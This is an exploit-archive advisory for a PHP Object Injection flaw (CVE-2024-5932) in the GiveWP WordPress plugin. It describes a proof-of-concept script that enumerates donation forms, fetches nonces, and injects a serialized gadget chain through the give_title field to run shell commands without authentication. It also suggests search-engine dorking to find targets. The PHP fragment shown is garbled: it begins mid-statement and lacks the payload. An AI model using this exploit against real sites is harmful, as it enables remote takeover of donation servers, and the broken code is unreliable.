============================================================================================================================================= | # Title : GiveWP Donation 3.14.1 PHP Object Injection vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) | | # Vendor : https://givewp.com | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] Code Description: This PHP script demonstrates a proof-of-concept exploit for a PHP Object Injection vulnerability in the WordPress plugin GiveWP. What the script does: Sends AJAX requests to the WordPress admin-ajax.php endpoint using cURL. Enumerates donation forms by calling the give_form_search action. Selects a random form and retrieves its required nonce/hash via give_donation_form_nonce. Builds a malicious serialized PHP payload that abuses unsafe object deserialization chains within GiveWP and its dependencies. Injects the payload into a donation request parameter (give_title). Triggers deserialization during donation processing (give_process_donation), aiming to execute a system command (e.g., whoami) via a gadget chain that reaches shell_exec. Outputs the server response, which may contain command execution results if the target is vulnerable. Impact: Successful exploitation can lead to remote code execution (RCE) on the vulnerable WordPress server. The attack requires no authentication if the affected AJAX actions are exposed. (Related : https://packetstorm.news/files/id/180463/ Related CVE numbers: CVE-2024-5932 ) . [+] Payload : [+] Set Target : line 17 [+] Usage : php poc.php [+] PayLoad : $form_id, 'give-form-hash' => $form_hash, 'give-price-id' => '0', 'give-amount' => '$10.00', 'give_first' => 'John', 'give_last' => 'Doe', 'give_email' => 'test@example.com', 'give_title' => $payload, 'give-gateway' => 'offline', 'action' => 'give_process_donation' ]); $response = send_request("$target/wp-admin/admin-ajax.php", $data); echo "Response: \n$response\n"; ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================